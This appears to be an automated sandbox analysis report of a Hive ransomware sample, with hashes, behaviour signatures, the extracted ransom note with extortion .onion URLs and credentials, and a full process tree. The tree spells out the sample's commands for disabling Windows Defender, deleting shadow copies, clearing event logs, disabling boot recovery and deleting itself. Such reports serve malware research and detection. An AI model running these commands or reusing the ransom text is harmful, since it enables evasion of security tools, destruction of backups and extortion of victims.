Overview

overview

10

Static

static

0e4d44dde5...03.exe

windows7-x64

10

0e4d44dde5...03.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    127s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-10-2022 19:45

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0e4d44dde522c07d09d9e3086cfae803.exe

  • Size

    3.9MB

  • MD5

    0e4d44dde522c07d09d9e3086cfae803

  • SHA1

    d8dc26e2094869a0da78ecb47494c931419302dc

  • SHA256

    33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277

  • SHA512

    ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06

  • SSDEEP

    49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA2:e2ANB04yIa0hsirubO

Score
10/10
hiveevasionransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\n8pw_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e4d44dde522c07d09d9e3086cfae803.exe
    "C:\Users\Admin\AppData\Local\Temp\0e4d44dde522c07d09d9e3086cfae803.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3976
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2424
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:5116
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4004
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:4676
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1924
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2332
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2636
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:1580
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2808
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:204
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1508
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3576
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5004
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:3532
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_19f65" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3628
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_19f65" /y
                      3⤵
                        PID:4952
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4888
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1812
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:800
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4176
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2148
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4412
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1552
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_19f65" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3772
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:3868
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:4948
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:3756
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:3084
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:3176
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:428
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:3860
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:3000
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4732
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:4188
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:2320
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:1100
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1608
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:2016
                                      • C:\Windows\SYSTEM32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:460
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:4916
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:1124
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:1400
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:1784
                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1632
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:1412
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:3148
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:4940
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:3832
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:3400
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:1004
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:1272
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1144
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:3804
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:4508
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:4148
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:2200
                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:4332
                                                                          • C:\Windows\SYSTEM32\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:1264
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:2364
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:544
                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:3280
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:456
                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4796
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:5100
                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                            2⤵
                                                                            • Modifies boot configuration data using bcdedit
                                                                            PID:4992
                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:4984
                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:1420
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:2704
                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:4240
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:5092
                                                                                • C:\Windows\SYSTEM32\notepad.exe
                                                                                  notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt
                                                                                  2⤵
                                                                                  • Opens file in notepad (likely ransom note)
                                                                                  PID:2340
                                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                                  cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\0e4d44dde522c07d09d9e3086cfae803.exe"
                                                                                  2⤵
                                                                                    PID:4144
                                                                                    • C:\Windows\system32\PING.EXE
                                                                                      ping.exe -n 5 127.0.0.1
                                                                                      3⤵
                                                                                      • Runs ping.exe
                                                                                      PID:4896

                                                                                Network

                                                                                MITRE ATT&CK Enterprise v6

                                                                                Replay Monitor

                                                                                Loading Replay Monitor...

                                                                                Downloads

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                  Filesize

                                                                                  2KB

                                                                                  MD5

                                                                                  d85ba6ff808d9e5444a4b369f5bc2730

                                                                                  SHA1

                                                                                  31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                  SHA256

                                                                                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                  SHA512

                                                                                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                  Download Submit

                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                  Filesize

                                                                                  944B

                                                                                  MD5

                                                                                  2e907f77659a6601fcc408274894da2e

                                                                                  SHA1

                                                                                  9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                                                                                  SHA256

                                                                                  385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                                                                                  SHA512

                                                                                  34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                                                                                  Download Submit

                                                                                • C:\n8pw_HOW_TO_DECRYPT.txt
                                                                                  Filesize

                                                                                  1KB

                                                                                  MD5

                                                                                  d3eca3baec61c36c9353ef1699b8bfca

                                                                                  SHA1

                                                                                  f084193262e0d462165cfac58e1422ab90df7514

                                                                                  SHA256

                                                                                  3ef5776a2dfd960f996ab765efa2b117d3e3135dc8e196aa7bdc525bd4125678

                                                                                  SHA512

                                                                                  8d8eb00e0764ea07a999d0f07bd21f4f4b8169f19673de0cea833670c38edd41792136a63036477bebeb2a0fbbca5f4faafb381f8fd4ffb178d4209e073e2a17

                                                                                  Download Submit

                                                                                • memory/204-141-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/428-161-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/456-193-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/460-170-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/544-191-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/800-150-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1004-181-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1100-167-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1124-172-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1144-183-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1264-189-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1272-182-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1400-173-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1412-176-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1508-142-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1552-154-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1580-139-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1608-168-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1632-175-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1784-174-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1812-149-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/1924-136-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2016-169-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2148-152-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2200-187-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2320-166-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2332-137-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2364-190-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2424-132-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2636-138-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/2704-198-0x00007FF8CB2A0000-0x00007FF8CBD61000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                  Download

                                                                                • memory/2704-197-0x00007FF8CB2A0000-0x00007FF8CBD61000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                  Download

                                                                                • memory/2704-196-0x00000141F9E70000-0x00000141F9E92000-memory.dmp

                                                                                  Filesize

                                                                                  136KB

                                                                                  Download

                                                                                • memory/2808-140-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3000-163-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3084-159-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3148-177-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3176-160-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3280-192-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3400-180-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3532-145-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3576-143-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3628-146-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3756-158-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3772-155-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3804-184-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3832-179-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3860-162-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/3868-156-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4004-134-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4148-186-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4176-151-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4188-165-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4332-188-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4412-153-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4508-185-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4676-135-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4732-164-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4796-194-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4888-148-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4916-171-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4940-178-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4948-157-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/4952-147-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/5004-144-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/5092-201-0x00007FF8CB2A0000-0x00007FF8CBD61000-memory.dmp

                                                                                  Filesize

                                                                                  10.8MB

                                                                                  Download

                                                                                • memory/5100-195-0x0000000000000000-mapping.dmp

                                                                                  Download

                                                                                • memory/5116-133-0x0000000000000000-mapping.dmp

                                                                                  Download